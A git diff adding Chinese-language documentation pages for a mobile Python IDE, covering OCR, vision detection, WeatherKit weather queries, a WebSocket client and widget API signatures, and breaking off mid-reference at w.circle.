+ + + diff --git a/docs/docs/pages/vision-helper-module/index.html b/docs/docs/pages/vision-helper-module/index.html new file mode 100644 index 0000000..c9b5c54 --- /dev/null +++ b/docs/docs/pages/vision-helper-module/index.html @@ -0,0 +1,337 @@ + + + + + + vision_helper - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

vision_helper

+

人脸、条码、矩形与图像分类。

+
+ +
+
本文档已迁移至 vision-helper-module。侧边栏与 schema 均以 vision-helper-module.md 为准。
+

#AppUI 图片检测配方

+
+
+ python +
+
+
import appui
+import vision_helper
+
+
+def body():
+    return appui.Form([
+        appui.Section("Vision Helper", [
+            appui.Text("在按钮回调中传入 base64 图片并调用 detect_* API"),
+        ])
+    ])
+
+

预期效果:页面展示检测入口;成功后在界面上显示检测摘要。

+
+
+ python +
+
+
# 最小调用骨架(在命名回调中执行)
+# result = vision_helper.detect_barcodes(image_b64)
+
+

#失败路径

+
情况处理
权限被拒绝在设置中开启权限后,从用户触发的回调重试
设备或能力不可用先检查返回值或 is_available(),再给用户可读提示
用户取消保留当前界面状态,不要当作成功继续流程
参数或 API 名错误对照模块 API 参考与 schema,修正后再运行
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,请按「失败路径」排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/vision-module/index.html b/docs/docs/pages/vision-module/index.html new file mode 100644 index 0000000..430fde5 --- /dev/null +++ b/docs/docs/pages/vision-module/index.html @@ -0,0 +1,427 @@ + + + + + + vision - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

vision

+

使用 Vision 从图片字节中识别文字。

+
+ +
+

图片 OCR(文字识别):从图片字节提取可见文字。新代码请 import vision(与 vision_fix 等价)。

+
边界:专注文字识别(OCR)。人脸、条码、矩形检测请用 vision_helper。需要能导入 Vision 框架或 objc_util;纯 ctypes 回退不支持 OCR。
+

#模块概览

+
说明
导入import vision
适合做什么名片识别、截图取字、票据文字提取
调用时机OCR 放在按钮回调;传入图片 bytes
推荐顺序读图/选图 → recognize_text_from_image_data(data)
依赖is_vision_available()True 时再调用
+
+

#快速开始

+

从本地图片文件读取并识别文字:

+
+
+ python +
+
+
import vision
+
+if not vision.is_vision_available():
+    print("Vision 框架不可用")
+else:
+    with open("/path/to/photo.jpg", "rb") as f:
+        data = f.read()
+    text = vision.recognize_text_from_image_data(data)
+    print(text or "未识别到文字")
+
+

检查框架并获取底层类(高级用法):

+
+
+ python +
+
+
import vision
+
+engine = vision.setup_vision_framework()
+if engine:
+    print("导入方式:", engine.get("method"))
+
+
+

#AppUI 示例

+

选图后 OCR,结果展示在界面上。

+
+
+ python +
+
+
import appui
+import photos
+import vision
+
+state = appui.State(
+    available="—",
+    status="尚未识别",
+    text="",
+)
+
+
+def refresh_available():
+    state.available = "是" if vision.is_vision_available() else "否"
+
+
+def ocr_from_photos():
+    refresh_available()
+    if state.available != "是":
+        state.status = "Vision 不可用"
+        return
+
+    data = photos.pick_image(raw_data=True)
+    if not data:
+        state.status = "未选择图片"
+        return
+
+    result = vision.recognize_text_from_image_data(data)
+    if not result:
+        state.batch_update(status="未识别到文字", text="")
+        return
+
+    preview = result[:200] + ("…" if len(result) > 200 else "")
+    state.batch_update(status=f"共 {len(result)} 字符", text=preview)
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("OCR", [
+                appui.Button("选图并识别", action=ocr_from_photos)
+                .button_style("bordered_prominent"),
+            ]),
+            appui.Section("结果", [
+                appui.LabeledContent("Vision", value=state.available),
+                appui.LabeledContent("状态", value=state.status),
+                appui.Text(state.text or "—").foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("文字识别")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
is_vision_available()Vision 是否可用 → bool
setup_vision_framework()返回底层类字典或 None
recognize_text_from_image_data(image_data)OCR → strNone
+

#可用性

+

is_vision_available() — 检测能否通过直接导入或 objc_util 使用 Vision。

+

setup_vision_framework() — 返回包含 VNRecognizeTextRequestVNImageRequestHandler 等类的字典;method 字段为 direct_importobjc_util

+

#OCR

+

recognize_text_from_image_data(image_data) — 传入图片原始 bytes,返回多行合并的识别文本;失败返回 None

+
+
+ python +
+
+
with open(path, "rb") as f:
+    text = vision.recognize_text_from_image_data(f.read())
+
+

识别级别为 accurate(setRecognitionLevel_(1)),适合文档与截图。

+
+

#常见错误

+
错误写法后果修正
传文件路径而非 bytes类型错误open(path, "rb").read()
未检查 is_vision_available()返回 None 难排查先判断可用性
body() 里自动 OCR每次刷新重复识别放进按钮回调
需要扫二维码能力不匹配vision_helper.detect_barcodes
+
+

#相关文档

+
文档用途
vision_helper人脸、条码、分类、矩形检测
photos选图与 Base64
objc_util底层 Vision 类访问
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/weather-module/index.html b/docs/docs/pages/weather-module/index.html new file mode 100644 index 0000000..ddc64bc --- /dev/null +++ b/docs/docs/pages/weather-module/index.html @@ -0,0 +1,495 @@ + + + + + + weather - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

weather

+

当前天气与每日/每小时预报(WeatherKit)。

+
+ +
+

当前天气与预报(基于 Apple WeatherKit)。支持按坐标查询、按设备位置查询,以及多日/多小时预报。

+
边界:需要 App 开启 WeatherKit 能力(Apple Developer 配置 + 带 entitlement 的签名构建)。current_location() 还需要定位权限;不包含地图或定位 UI,定位请看 location
+

#模块概览

+
说明
导入import weather
适合做什么天气卡片、出行建议、温度/湿度/风速展示、短期预报
调用时机放在按钮回调或加载任务;不要写在 AppUI body()
推荐顺序需要时申请定位 → current / current_location → 可选 daily / hourly
单位约定温度 °C;风速 m/s;湿度 0..1;symbol 为 SF Symbol 名
+
+

#快速开始

+

下面脚本按坐标查询上海当前天气,并打印未来 3 天预报:

+
+
+ python +
+
+
import weather
+
+LAT, LON = 31.2304, 121.4737
+
+try:
+    now = weather.current(LAT, LON)
+    print(f"{now['temperature']:.1f}°C", now["condition"], now["symbol"])
+    print(f"体感 {now['feels_like']:.1f}°C · 湿度 {now['humidity']:.0%}")
+
+    days = weather.daily(LAT, LON, days=3)
+    for day in days:
+        print(day["date"][:10], day["low"], "~", day["high"], "°C", day["condition"])
+except weather.WeatherError as exc:
+    print("查询失败:", exc, f"(code={exc.code})")
+
+
+

#AppUI 示例

+

天气请求放进按钮回调;结果写进 State,用 symbol 显示 SF Symbol 图标。

+
+
+ python +
+
+
import appui
+import permission
+import weather
+
+DEMO_LAT = 31.2304
+DEMO_LON = 121.4737
+
+state = appui.State(
+    temp="—",
+    summary="点击按钮开始",
+    symbol="cloud",
+    forecast="—",
+    message="",
+)
+
+
+def _apply_current(now, label):
+    state.temp = f"{now.get('temperature', 0):.1f}°C"
+    state.summary = now.get("condition", "—")
+    state.symbol = now.get("symbol", "cloud")
+    state.message = f"{label}查询成功"
+
+
+def _format_forecast(days):
+    lines = []
+    for day in days[:3]:
+        date = str(day.get("date", ""))[:10]
+        low = day.get("low", "—")
+        high = day.get("high", "—")
+        lines.append(f"{date}  {low}~{high}°C  {day.get('condition', '')}")
+    return "\n".join(lines) if lines else "暂无预报"
+
+
+def load_shanghai():
+    try:
+        now = weather.current(DEMO_LAT, DEMO_LON)
+        _apply_current(now, "上海")
+        state.forecast = _format_forecast(
+            weather.daily(DEMO_LAT, DEMO_LON, days=3)
+        )
+    except weather.WeatherError as exc:
+        state.message = f"查询失败: {exc} (code={exc.code})"
+
+
+def load_here():
+    entry = permission.status("location")
+    if not entry.get("authorized"):
+        permission.request("location")
+        entry = permission.status("location")
+    if not entry.get("authorized"):
+        state.message = "需要定位权限,请先在系统弹窗中允许"
+        return
+    try:
+        now = weather.current_location()
+        _apply_current(now, "当前位置")
+    except weather.WeatherError as exc:
+        state.message = f"查询失败: {exc} (code={exc.code})"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("当前", [
+                appui.Image(system_name=state.symbol).font("largeTitle"),
+                appui.LabeledContent("温度", value=state.temp),
+                appui.LabeledContent("状况", value=state.summary),
+            ]),
+            appui.Section("操作", [
+                appui.Button("查询上海天气", action=load_shanghai)
+                .button_style("bordered_prominent"),
+                appui.Button("查询当前位置天气", action=load_here),
+            ]),
+            appui.Section("3 日预报", [
+                appui.Text(state.forecast).font("caption").foreground_color("secondaryLabel"),
+                appui.Text(state.message).font("caption2").foreground_color("tertiaryLabel"),
+            ], footer="需要 WeatherKit 能力与网络;真机测试最可靠。"),
+        ]).navigation_title("天气")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
current(lat, lon)按坐标查当前天气 → dict
current_location()按设备位置查当前天气 → dict(需定位权限)
daily(lat, lon, days=7)每日预报 → list[dict]
hourly(lat, lon, hours=24)每小时预报 → list[dict]
WeatherError查询失败时抛出的异常
+

#当前天气

+

current(latitude, longitude) — 按经纬度查询。

+
+
+ python +
+
+
now = weather.current(37.33, -122.03)
+print(now["temperature"], now["symbol"])
+
+

current_location() — 使用设备当前位置,需先获得定位授权。

+
+
+ python +
+
+
import permission
+
+if not permission.status("location").get("authorized"):
+    permission.request("location")
+now = weather.current_location()
+
+

当前天气常见字段:

+
字段说明
temperature / feels_like气温 / 体感温度(°C)
condition天气状况文字
symbolSF Symbol 名,可配合 appui.Image(system_name=...)
humidity湿度(0..1)
wind_speed风速(m/s)
uv_index紫外线指数
is_daylight是否白天
+

#预报

+

daily(latitude, longitude, days=7) — 返回每日预报列表。

+
+
+ python +
+
+
days = weather.daily(31.23, 121.47, days=5)
+for day in days:
+    print(day["date"], day["low"], day["high"], day["symbol"])
+
+

每日字段:dateconditionsymbolhighlowprecipitation_chance

+

hourly(latitude, longitude, hours=24) — 返回每小时预报列表。

+
+
+ python +
+
+
hours = weather.hourly(31.23, 121.47, hours=12)
+for hour in hours:
+    print(hour["date"], hour["temperature"], hour["condition"])
+
+

每小时字段:dateconditionsymboltemperatureprecipitation_chance

+

#异常

+

查询失败时抛出 WeatherError,可通过 exc.code 区分原因:

+
code含义
unavailable系统版本过低、WeatherKit 未启用或暂无数据
weatherkit_authWeatherKit JWT/entitlement 未正确配置
denied定位权限未授权(current_location
network_error网络或 WeatherKit 服务异常
+
+
+ python +
+
+
try:
+    weather.current(0, 0)
+except weather.WeatherError as exc:
+    print(exc.code, exc)
+
+
+

#常见错误

+
错误写法后果修正
body() 里调 weather.current()每次刷新都联网放进按钮回调,结果写进 State
未授权就 current_location()抛出 WeatherError(code="denied")permission.request("location")
未配置 WeatherKitweatherkit_authunavailable在 Developer 为 App ID 开启 WeatherKit 并重装
不捕获 WeatherError异常直接打断流程try/except 并给出兜底 UI
+
+

#相关文档

+
文档用途
location定位权限与坐标
permission统一查询 location 权限
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/websocket-module/index.html b/docs/docs/pages/websocket-module/index.html new file mode 100644 index 0000000..30bf205 --- /dev/null +++ b/docs/docs/pages/websocket-module/index.html @@ -0,0 +1,459 @@ + + + + + + websocket - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

websocket

+

原生 WebSocket 连接、收发和回调。

+
+ +
+

原生 WebSocket 客户端(URLSessionWebSocketTask):连接、收发消息、事件回调。

+
边界:客户端连接 ws:// / wss:// 服务器;不含 WebSocket 服务端。阻塞式 receive() 会等待消息;AppUI 场景推荐 on_message 回调。
+

#模块概览

+
说明
导入import websocket
适合做什么实时聊天、行情推送、协作白板
调用时机connect 放按钮回调;长连接用 on_message
推荐顺序connect(url)sendreceive 或设回调 → close()
状态ws.stateopen / connecting / closing / closed
+
+

#快速开始

+

阻塞式收发(适合脚本):

+
+
+ python +
+
+
import websocket
+
+ws = websocket.connect("wss://echo.websocket.org")
+ws.send("Hello")
+msg = ws.receive(timeout=10)
+print(msg)  # {"type": "text", "data": "Hello"}
+ws.close()
+
+

回调式(适合 AppUI):

+
+
+ python +
+
+
import websocket
+
+
+def on_message(data):
+    print("收到:", data)
+
+
+def on_close(code):
+    print("关闭:", code)
+
+
+ws = websocket.connect("wss://echo.websocket.org")
+ws.on_message = on_message
+ws.on_close = on_close
+ws.send("Hello")
+
+
+

#AppUI 示例

+

连接、发送、断开放在按钮回调;最近一条消息展示在界面。

+
+
+ python +
+
+
import appui
+import websocket
+
+ECHO_URL = "wss://echo.websocket.org"
+
+state = appui.State(
+    conn_state="未连接",
+    last_msg="—",
+    status="点击连接",
+)
+
+session = {"ws": None}
+
+
+def on_message(data):
+    state.last_msg = str(data)[:120]
+    state.status = "收到消息"
+
+
+def on_close(code):
+    state.batch_update(conn_state="已关闭", status=f"关闭码 {code}")
+    session["ws"] = None
+
+
+def connect_echo():
+    if session.get("ws") and session["ws"].is_open:
+        state.status = "已连接"
+        return
+
+    try:
+        ws = websocket.connect(ECHO_URL)
+        ws.on_message = on_message
+        ws.on_close = on_close
+        session["ws"] = ws
+        state.batch_update(conn_state=ws.state, status="已连接 echo 服务")
+    except Exception as exc:
+        state.batch_update(conn_state="失败", status=str(exc))
+
+
+def send_ping():
+    ws = session.get("ws")
+    if not ws or not ws.is_open:
+        state.status = "请先连接"
+        return
+
+    ws.send("ping from PythonIDE")
+    state.status = "已发送 ping"
+
+
+def disconnect():
+    ws = session.get("ws")
+    if ws:
+        ws.close()
+    session["ws"] = None
+    state.conn_state = "未连接"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("连接", [
+                appui.Button("连接 Echo 服务", action=connect_echo)
+                .button_style("bordered_prominent"),
+                appui.Button("发送 ping", action=send_ping),
+                appui.Button("断开", action=disconnect, role="destructive"),
+            ]),
+            appui.Section("状态", [
+                appui.LabeledContent("连接", value=state.conn_state),
+                appui.LabeledContent("最近消息", value=state.last_msg),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("WebSocket")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
connect(url, protocols=None)建立连接,返回 WebSocket
ws.send(data)发送文本或 bytes
ws.receive(timeout=30)阻塞等待消息 → dictNone
ws.close(code=1000)关闭连接
ws.state / ws.is_open连接状态
ws.on_message / on_open / on_close / on_error事件回调
+

#连接

+
+
+ python +
+
+
ws = websocket.connect("wss://example.com/socket", protocols=["chat"])
+
+

连接失败抛 ConnectionError

+

#收发

+

send(data) — 字符串发文本;bytes 发二进制(内部 Base64 编码)。

+

receive(timeout=30) — 返回 {"type": "text"|"binary", "data": ...} 或超时 None

+

#回调

+

在 AppUI 中设置 on_message 等属性时,底层通过 _appui_native._register_callback 注册;需保持 ws 对象存活。

+
+

#常见错误

+
错误写法后果修正
body()connect每次刷新新建连接放进按钮回调,复用 session
主线程长时间 receive界面卡住on_message 或后台线程
用 WebSocket 访问 REST协议不匹配network
忘记 close()泄漏连接用完关闭或依赖析构
+
+

#相关文档

+
文档用途
networkHTTP 请求
http_server本地 HTTP 服务(非 WS 服务端)
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/widget-api-index/index.html b/docs/docs/pages/widget-api-index/index.html new file mode 100644 index 0000000..0f534a8 --- /dev/null +++ b/docs/docs/pages/widget-api-index/index.html @@ -0,0 +1,363 @@ + + + + + + widget API 地图 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

widget API 地图

+

按任务/场景索引 Widget API;含 symbol 链式 color 等易错点。

+
+ +
+

发布流程见 从脚本到桌面;完整签名见 widget API 参考

+

任务场景组织 widget 公开 API。需要确认参数名、返回值或修饰符链时,再查 API 参考

+
边界:本页是索引,不展开教程。入门见 widget 概览;故障见 排错
+

#本篇目标

+
说明
用途快速定位「该用哪个 API」
精确签名API 参考
写法示例各专题文档(布局、参数、交互…)
默认 family主屏 medium;其它尺寸见 布局与尺寸
+
+

#最小入口

+

可运行基线脚本见 排错 · 最小健康基线(全系列唯一基线,避免各篇重复)。本页只做 API 路由,不另附 runnable 示例。

+
+

#先看哪一类

+
你要做什么先看专题
从零写第一个小组件Widget()text()render()概览
发布到主屏Studio 发布流程从脚本到桌面
预览里调配色/标题widget.param.*参数面板
桌面按钮/开关widget.statebutton()toggle()状态和交互
small/medium/large 适配widget.contextfamily_value()when()布局与尺寸
数字动画 / 定时刷新timeline()widget.entryflip()时间线和动画
深色/透明/图片/Symbolcontainer_backgroundsymbol()image()资源与外观
预览空白 / 桌面不对基线排查、validate()排错
+
+

#按任务选 API

+
任务首选 API注意
创建根容器Widget(background=, padding=, style=)脚本里只有一个 Widget()
提交渲染w.render()必须在脚本末尾
布局诊断w.validate(family=)Studio「Widget 诊断」对应此报告
流式横/纵排row()column()layer()必须用 with w.row(): 上下文
等列网格grid(columns=)子节点按顺序填格
表格线 / Bingotable(rows, columns) + table.cell()勿用 rect 拼线
点坐标绘制canvas().place()content_width / content_height
标题与数值text()value()title()caption()可变文案加 line_limit + min_scale
SF Symbolsymbol(name).color() .font_size()symbolcolor=/size= 参数
图片 / SVGimage()svg()支持 light/dark 双资源
进度与图表progress()ring_chart()line_chart()bar_chart()small 注意高度预算
可调配置widget.param.text/color/number/slider/bool/choice/file不是桌面 state
桌面状态widget.state.int/bool/list/....increment().toggle().toggle_item()
按钮/开关/链接button()toggle()link()action 必须来自 state 工厂;link(..., icon=) 不可链 .line_limit()
时间线w.timeline(entries=, update=)entry 字段用 widget.entry.*
数据动画.content_transition("numericText").id()flip()非 60fps 循环
系统倒计时countdown()timer_text()原生走时
外观/透明container_background()transparent_background()background_image()染色用 .accentable()
缓存数据cache_json()history()save_image()见 API 参考
+
+

#索引

+

#Family 常量

+
名称说明
widget.SMALL主屏小(约 158×158 内容区)
widget.MEDIUM主屏中(约 338×158)
widget.LARGE主屏大(约 338×354)
widget.CIRCULAR锁屏圆形 accessory
widget.RECTANGULAR锁屏矩形 accessory
widget.INLINE锁屏行内 accessory
+

#模块入口

+
名称说明
widget.context当前 family、width/heightcontent_*is_family()
widget.param预览面板参数声明
widget.state桌面持久状态 + AppIntent 工厂
widget.entry当前 timeline entry 字段
widget.family_value()按 family 返回值
widget.action受控动作助手(高级)
widget.color颜色助手
widget.storage轻量存储
+

#生命周期(Widget 实例)

+
方法说明
Widget(...)创建根容器
w.render()输出 IR,结束构建
w.validate(family=)布局/动画诊断报告
w.timeline(...)声明时间线条目与刷新策略
w.background()运行时改根背景
w.container_background()系统容器背景
w.transparent_background()请求透明
w.content_margins()内容边距开关
w.background_image()背景图 + scrim
+

#布局容器

+
方法说明
row() / column()横/纵栈(with 块)
layer()叠放
grid()等列网格
table()单路径表格线
canvas()点位坐标画布
when() / unless()按 family 显示/隐藏块
spacer() / divider()间距与分割线
+

#内容与媒体

+
方法说明
text() / rich_text()文本
value()数字/状态展示
symbol()SF Symbol(语义图标)
icon()低级图标(一般优先 symbol
image() / svg()位图 / 矢量
badge() / label() / status()组合标签
progress() / ring_chart() / line_chart() / bar_chart()图表
flip()翻页数字块
countdown() / timer_text() / dynamic_date()时间相关
+

#交互

+
方法说明
button(action=)AppIntent 按钮
toggle(state=)开关(color=,无 tint=
link(title, url)打开链接
+

#常用修饰符(链式)

+
修饰符说明
.line_limit(n) / .min_scale(f)防裁切
.color() / .font_size() / .font_weight()外观(symbol 用链式上色
.id()稳定视图身份
.content_transition() / .animation() / .transition()数据更新动画
.accentable()系统染色参与与否
.privacy_sensitive() / .redacted()锁屏隐私
.monospaced_digit()等宽数字
+

#工具函数

+
函数说明
widget.save_image()注册图片供 image/background_image 引用
widget.cache_json()带 TTL 的 JSON 缓存
widget.history()按 bucket 保留历史序列
widget.validate_layout()对 IR 文档做诊断
+
+

#选择规则

+
  1. 信息卡默认 row / column;精确定位再用 table / canvas
  2. 用户调配置widget.param用户点桌面widget.state
  3. 按钮 action 只用 state 工厂,不传 Python 函数或字符串。
  4. 多 familyfamily_value / is_family / when,勿整体缩小 large 布局。
  5. 可变文案 默认 .line_limit(1).min_scale(0.65+)
  6. w.symbol("name") 后链 .color(accent).font_size(18);多色用 rendering="palette", palette=[...]
+
+
+ python +
+
+
# ❌ symbol 不接受 color=/size=
+w.symbol("star.fill", color="#F59E0B", size=18)
+
+# ✅
+w.symbol("star.fill").color("#F59E0B").font_size(18)
+w.symbol("paintpalette.fill", rendering="palette", palette=["#EF4444", "#3B82F6"])
+
+
+

#专题文档地图

+
文档覆盖 API
widget 概览总览、快速开始、心智模型
从脚本到桌面render、发布、桌面验证
布局与尺寸row/grid/table/canvascontext
参数面板widget.param
状态和交互widget.statebuttontogglelink
时间线和动画timelineentryflip、动画修饰符
资源与外观背景、图片、SVG、accentable
排错validate、常见 TypeError
API 参考全部公开签名
+

#示例场景地图

+

每篇主打不同场景,避免复制粘贴同一套计数器示例:

+
文档主打示例
概览饮水环形图 ±、每日一言、折线图
从脚本到桌面习惯开关发布验证
参数面板主题天气 choice 换肤
状态和交互连续签到、习惯清单、闹钟开关、链接
布局与尺寸健康仪表盘、快递追踪、播客 when、周历 grid、Bingo table、canvas、锁屏
时间线和动画零钱罐、分时电价、flip 翻页、阶段文案、会议倒计时
资源与外观渐变、accentable、layer、背景图、头像、SVG、步数隐私
排错最小健康基线(唯一 runnable 基线)
+
+

#失败路径

+
现象处理
不知道用哪个 API本文「先看哪一类」→ 专题文档
签名记不清API 参考
TypeError: unexpected keyword排错 对照表(tintsymbol color 等)
示例能预览、桌面异常发布流程 + 缓存重装
+

相关 API:widget-api-reference.md

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/widget-api-reference/index.html b/docs/docs/pages/widget-api-reference/index.html new file mode 100644 index 0000000..ec85638 --- /dev/null +++ b/docs/docs/pages/widget-api-reference/index.html @@ -0,0 +1,1864 @@ + + + + + + API 参考 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

API 参考

+

公开 Widget() API 速查。

+
+ +
+

这页是公开 Widget() API 的签名索引。先用 API 地图 按任务选择能力,再回到这里核对函数名、参数名和返回句柄。

+

#怎么查

+
  • 选能力:先看「常用组合」。
  • 查签名:看「完整公开 API 索引」。
  • 学写法:先看 widget从脚本到桌面,再进入布局、参数、交互、时间线或外观指南。
  • 排故障:先看 排错,再回到这里核对签名。
+

#常用组合

+
目标推荐 API
普通信息卡textvalueprogressrowcolumn
精确表格tablecanvaspathshape.place()
可点击状态widget.statebuttontoggle
可调参数widget.param.color/slider/text/bool/choice/file
动态数据widget.entrytimelinecontent_transitionflip
外观适配container_backgroundcontent_marginstransparent_backgroundaccentable
+

#行为契约

+
API保证注意
Widget()创建一个小组件根容器,控制背景、边距和整体样式。一个脚本只保留一个最终渲染的小组件。
w.render()输出当前小组件并结束构建流程。放在脚本末尾;没有调用时预览和发布都不会得到内容。
widget.param.*在预览面板提供可配置输入,构建时读取当前值。参数不是桌面点击状态;改名后需要重新运行并发布。
widget.state.*保存桌面交互状态,并为按钮或开关生成安全动作。不要把普通 Python 回调传给桌面按钮。
w.button() / w.toggle()创建系统允许的点击或开关交互。交互区域要清晰,避免同一区域同时承担链接和按钮。
w.timeline() / widget.entry声明一组未来显示结果,用于系统刷新和数据更新动画。刷新时机由系统调度,不适合连续动画。
widget.family_value()为不同 family 选择不同值。small、medium、large 内容密度差异大,不要只缩小同一套布局。
.line_limit() / .min_scale()限制可变文本的行数,并允许文字在小尺寸内缩放。用户可改文本、按钮标题和主值默认都应该加。
w.container_background()声明系统小组件背景。透明、染色和背景移除是否生效取决于系统宿主环境。
+

#公开 API 速查

+
场景常用 API用途
创建和运行Widget()w.renderw.validatew.timeline创建、检查、发布小组件,并声明更新时间线。
尺寸和数据widget.contextwidget.entrywidget.paramwidget.statewidget.family_value读取当前尺寸、时间线数据、参数和桌面交互状态。
文字和内容w.textw.rich_textw.valuew.symbolw.svgw.imagew.badge标题、数值、图标、图片和组合文字。
图表和进度w.progressw.ring_chartw.line_chartw.bar_chart进度条、圆环、折线和柱状图。
布局w.roww.columnw.layerw.gridw.tablew.canvasw.spacerw.divider从自动布局到精确表格、画布定位。
形状和线条w.shapew.rectw.circlew.path.stroke.clip_shape.mask.reverse_mask线宽、虚线、裁切、遮罩和自定义图形。
交互w.buttonw.togglew.linkwidget.actionAppIntent 按钮、开关、链接和状态动作。
外观w.container_backgroundw.content_marginsw.transparent_backgroundw.background_image.accentable.privacy_sensitive.redacted深色、透明、染色、隐私和占位。
动画w.flip.content_transition.animation.transition.idWidgetKit 数据更新动画和稳定身份。
资源和缓存widget.save_imagewidget.cache_jsonwidget.history保存图片、缓存网络数据和保留历史值。
+

#完整公开 API 索引

+

#常量

+
  • widget.CIRCULARFamily: circular
  • widget.INLINEFamily: inline
  • widget.LARGEFamily: large
  • widget.MEDIUMFamily: medium
  • widget.RECTANGULARFamily: rectangular
  • widget.SMALLFamily: small
+

#运行值

+
  • widget.action:动作助手,用于创建受控刷新、状态和打开链接动作。
  • widget.color:颜色助手,用于固定色、浅深色和系统角色色。
  • widget.context:当前 family、尺寸和内容区域信息。
  • widget.entry:当前 timeline entry 的字段读取入口。
  • widget.family:当前小组件 family 名称。
  • widget.param:预览面板参数声明入口。
  • widget.state:桌面交互状态声明入口。
  • widget.storage:小组件脚本可用的轻量存储入口。
+

#函数

+

#widget.cache_json

+
+
+ text +
+
+
widget.cache_json(
+    url: str,
+    *,
+    ttl: Optional[float] = 3600,
+    default: Any = None,
+    params: Optional[Dict[str, Any]] = None,
+    headers: Optional[Dict[str, str]] = None,
+    key: Optional[str] = None,
+    timeout: float = 8,
+) -> Any
+
+

#widget.family_value

+
+
+ text +
+
+
widget.family_value(default: Any = None, **values: Any) -> Any
+
+

#widget.history

+
+
+ text +
+
+
widget.history(
+    key: str,
+    value: Any = None,
+    limit: int = 7,
+    *,
+    bucket: Optional[str] = "day",
+    default: Any = None,
+) -> Any
+
+

#widget.save_image

+
+
+ text +
+
+
widget.save_image(source: Union[str, bytes], name: str, *, variant: Optional[str] = None) -> str
+
+

#Widget 方法

+

#w.background

+
+
+ text +
+
+
w.background(value: WidgetBackground) -> "Widget"
+
+

#w.background_image

+
+
+ text +
+
+
w.background_image(
+    asset: Optional[ImageLike] = None,
+    content_mode: str = "fill",
+    dim: Optional[Union[bool, float]] = None,
+    scrim: Optional[Union[bool, str]] = None,
+    scrim_opacity: Optional[float] = None,
+    focal: str = "center",
+    overlay_color: ColorLike = "#000000",
+    *,
+    light: Optional[str] = None,
+    dark: Optional[str] = None,
+) -> "Widget"
+
+

#w.badge

+
+
+ text +
+
+
w.badge(
+    text: Union[str, int, float],
+    icon: Optional[str] = None,
+    tone: str = "accent",
+    style: str = "plain",
+) -> WidgetNode
+
+

#w.bar_chart

+
+
+ text +
+
+
w.bar_chart(
+    values: List[Union[int, float]],
+    color: Optional[ColorLike] = None,
+    height: Optional[float] = None,
+    min_value: Optional[float] = None,
+    max_value: Optional[float] = None,
+    spacing: Optional[float] = None,
+    corner_radius: Optional[float] = None,
+    track_color: Optional[ColorLike] = None,
+    opacity: Optional[float] = None,
+    padding: Optional[Union[int, float]] = None,
+    frame: Optional[Dict[str, Any]] = None,
+    segment_colors: Optional[List[ColorLike]] = None,
+    baseline: Optional[float] = None,
+    threshold: Optional[float] = None,
+    labels: Optional[Union[List[Any], Dict[str, Any]]] = None,
+    label_color: Optional[ColorLike] = None,
+) -> WidgetNode
+
+

#w.body

+
+
+ text +
+
+
w.body(content: Union[str, int, float]) -> WidgetNode
+
+

#w.button

+
+
+ text +
+
+
w.button(
+    title: Optional[str] = None,
+    action: Optional[Union[str, WidgetAction]] = None,
+    url: Optional[str] = None,
+    color: Optional[ColorLike] = None,
+    background: Optional[WidgetBackground] = None,
+    size: Optional[float] = None,
+    padding: Optional[Union[int, float]] = None,
+    *,
+    style: Optional[str] = None,
+    layout: Optional[str] = None,
+    press: Optional[Dict[str, Any]] = None,
+    normal: Optional[Dict[str, Any]] = None,
+) -> WidgetNode
+
+

#w.canvas

+
+
+ text +
+
+
w.canvas(
+    height: Optional[float] = None,
+    coordinate_space: str = "relative",
+    align: str = "center",
+    background: Optional[WidgetBackground] = None,
+    padding: Optional[Union[int, float]] = None,
+    corner_radius: Optional[float] = None,
+    border_color: Optional[ColorLike] = None,
+    border_width: Optional[float] = None,
+    opacity: Optional[float] = None,
+    frame: Optional[Dict[str, Any]] = None,
+    fill: bool = False,
+) -> Canvas
+
+

#w.caption

+
+
+ text +
+
+
w.caption(content: Union[str, int, float]) -> WidgetNode
+
+

#w.change

+
+
+ text +
+
+
w.change(
+    primary: Union[str, int, float],
+    secondary: Optional[Union[str, int, float]] = None,
+    direction: Optional[str] = None,
+) -> WidgetNode
+
+

#w.circle

+
+
+ text +
+
+
w.circle(
+    color: Optional[ColorLike] = None,
+    size: Optional[float] = None,
+    opacity: Optional[float] = None,
+    padding: Optional[Union[int, float]] = None,
+    frame: Optional[Dict[str, Any]] = None,
+    border_color: Optional[ColorLike] = None,
+    border_width: Optional[float] = None,
+) -> WidgetNode
